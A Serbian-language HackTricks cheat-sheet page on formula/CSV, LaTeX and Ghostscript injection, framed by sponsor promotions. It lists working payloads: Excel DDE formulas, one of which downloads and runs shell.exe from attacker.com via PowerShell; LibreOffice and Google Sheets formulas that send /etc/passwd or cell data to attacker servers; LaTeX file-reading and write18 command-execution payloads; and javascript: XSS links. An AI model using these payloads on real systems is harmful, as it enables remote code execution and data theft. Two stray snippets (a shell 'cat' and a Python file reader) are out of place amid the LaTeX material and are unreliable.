# Formula/CSV/Doc/LaTeX/GhostScript Injection
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivne pretnje, pronalazi probleme u celokupnom tehnološkom skupu, od API-ja do veb aplikacija i cloud sistema. [**Isprobajte ga besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Formula Injection
### Informacije
Ako se vaš **unos** reflektuje unutar **CSV fajlova** (ili bilo kog drugog fajla koji će verovatno biti otvoren u **Excel-u**), možda ćete moći da unesete Excel **formule** koje će biti **izvršene** kada korisnik **otvori fajl** ili kada korisnik **klikne na neki link** unutar Excel tabele.
{% hint style="danger" %}
Danas će **Excel upozoriti** (nekoliko puta) korisnika kada se nešto učita izvan Excel-a kako bi ga sprečio od zlonamernih radnji. Stoga, poseban napor na socijalnom inženjeringu mora biti primenjen na krajnji payload.
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hiperlink
**Sledeći primer je veoma koristan za eksfiltraciju sadržaja iz konačnog Excel dokumenta i za izvršavanje zahteva ka proizvoljnim lokacijama. Međutim, zahteva da korisnik klikne na link (i prihvati upozorenja).**
Sledeći primer je preuzet sa [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Zamislite da je došlo do bezbednosnog propusta u sistemu za upravljanje evidencijama studenata koji je iskorišćen putem napada CSV ubacivanjem. Primarni cilj napadača je da kompromituje sistem koji koriste nastavnici za upravljanje detaljima studenata. Metoda uključuje ubacivanje zlonamernog payload-a u aplikaciju, tačnije unošenje štetnih formula u polja namenjena za detalje studenata. Napad se odvija na sledeći način:
1. **Ubacivanje zlonamernog payload-a:**
- Napadač podnosi formu za detalje studenata, ali uključuje formulu koja se često koristi u tabelama (npr. `=HYPERLINK("","Kliknite ovde")`).
- Ova formula je dizajnirana da kreira hiperlink, ali ona vodi ka zlonamernom serveru koji je pod kontrolom napadača.
2. **Izvoz kompromitovanih podataka:**
- Nastavnici, nesvesni kompromitacije, koriste funkcionalnost aplikacije za izvoz podataka u CSV fajl.
- CSV fajl, kada se otvori, i dalje sadrži zlonamerni payload. Ovaj payload se pojavljuje kao klikabilni hiperlink u tabeli.
3. **Pokretanje napada:**
- Nastavnik klikne na hiperlink, verujući da je to legitimni deo detalja o studentu.
- Nakon klika, osetljivi podaci (potencijalno uključujući detalje iz tabele ili računara nastavnika) se prenose na server napadača.
4. **Logovanje podataka:**
- Server napadača prima i beleži osetljive podatke poslate sa računara nastavnika.
- Napadač može zatim koristiti ove podatke u razne zlonamerne svrhe, dalje kompromitujući privatnost i bezbednost studenata i institucije.
### RCE
**Proverite [originalni post](https://notsosecure.com/data-exfiltration-formula-injection-part1) za dodatne detalje.**
U određenim konfiguracijama ili starijim verzijama Excel-a, funkcionalnost nazvana Dynamic Data Exchange (DDE) može biti iskorišćena za izvršavanje proizvoljnih komandi. Da biste to iskoristili, moraju biti omogućene sledeće postavke:
- Idite na File → Options → Trust Center → Trust Center Settings → External Content i omogućite **Dynamic Data Exchange Server Launch**.
Kada se otvori tabela sa zlonamernim payload-om (i ako korisnik prihvati upozorenja), payload se izvršava. Na primer, da biste pokrenuli kalkulator aplikaciju, payload bi bio:
```markdown
`=cmd|' /C calc'!xxx`
```
Dodatne komande takođe mogu biti izvršene, kao što je preuzimanje i izvršavanje fajla koristeći PowerShell:
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Lokalno uključivanje datoteka (LFI) u LibreOffice Calc
LibreOffice Calc se može koristiti za čitanje lokalnih datoteka i izvlačenje podataka. Evo nekih metoda:
- Čitanje prvog reda iz lokalne datoteke `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
- Izvlačenje pročitanih podataka na server pod kontrolom napadača: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
- Izvlačenje više od jednog reda: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- DNS izvlačenje (slanje pročitanih podataka kao DNS upita na DNS server pod kontrolom napadača): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
### Google Sheets za izvlačenje podataka izvan opsega (OOB)
Google Sheets nudi funkcije koje se mogu iskoristiti za izvlačenje podataka izvan opsega:
- **CONCATENATE**: Spaja nizove - `=CONCATENATE(A2:E2)`
- **IMPORTXML**: Uvozi podatke iz strukturiranih vrsta podataka - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTFEED**: Uvozi RSS ili ATOM feedove - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: Uvozi podatke iz HTML tabela ili listi - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
- **IMPORTRANGE**: Uvozi opseg ćelija iz druge tabele - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
- **IMAGE**: Ubacuje sliku u ćeliju - `=IMAGE("https:///images/srpr/logo3w.png")`
## LaTeX ubacivanje
Obično serveri koje ćete pronaći na internetu koji **pretvaraju LaTeX kod u PDF** koriste **`pdflatex`**.\
Ovaj program koristi 3 glavna atributa za (ne)dozvoljavanje izvršavanja komandi:
* **`--no-shell-escape`**: **Onemogućava** konstrukciju `\write18{command}`, čak i ako je omogućena u datoteci texmf.cnf.
* **`--shell-restricted`**: Isto kao `--shell-escape`, ali **ograničeno** na 'siguran' skup **unapred definisanih** \*\*komandi (\*\*Na Ubuntu 16.04 lista se nalazi u `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Omogućava** konstrukciju `\write18{command}`. Komanda može biti bilo koja shell komanda. Ova konstrukcija je obično zabranjena iz sigurnosnih razloga.
Međutim, postoje i druge metode izvršavanja komandi, pa je radi izbegavanja RCE-a vrlo važno koristiti `--shell-restricted`.
### Čitanje datoteke
Možda ćete morati prilagoditi ubacivanje sa omotačima kao što su \[ ili $.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### Čitanje jednolinijske datoteke
Da biste pročitali sadržaj jednolinijske datoteke, možete koristiti sledeći kod:
```bash
cat ime_datoteke
```
Gde `ime_datoteke` predstavlja ime datoteke koju želite da pročitate.
Ovaj kod će prikazati sadržaj datoteke na ekranu.
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Čitanje višelinijske datoteke
Da biste pročitali višelinijsku datoteku, možete koristiti sledeći kod:
```python
with open('ime_datoteke.txt', 'r') as file:
lines = file.readlines()
for line in lines:
print(line.strip())
```
Ovaj kod otvara datoteku sa zadatim imenom (`ime_datoteke.txt`) u režimu čitanja (`'r'`). Zatim koristi metodu `readlines()` da pročita sve linije iz datoteke i smešta ih u listu `lines`. Nakon toga, petlja prolazi kroz svaku liniju u listi i koristi metodu `strip()` da ukloni sve praznine sa početka i kraja linije pre nego što je prikaže na ekranu.
Napomena: Promenite `'ime_datoteke.txt'` sa stvarnim imenom datoteke koju želite da pročitate.
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### Pisanje datoteke
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Izvršavanje komande
Ulaz komande će biti preusmeren na stdin, koristite privremenu datoteku da je dobijete.
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Ako dobijete bilo kakvu LaTex grešku, razmislite o korišćenju base64 da biste dobili rezultat bez loših karaktera.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting
Iz [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript ubacivanje
**Proverite [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)**
## Reference
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivne pretnje, pronalazi probleme u celom vašem tehnološkom skupu, od API-ja do veb aplikacija i sistemima u oblaku. [**Isprobajte besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.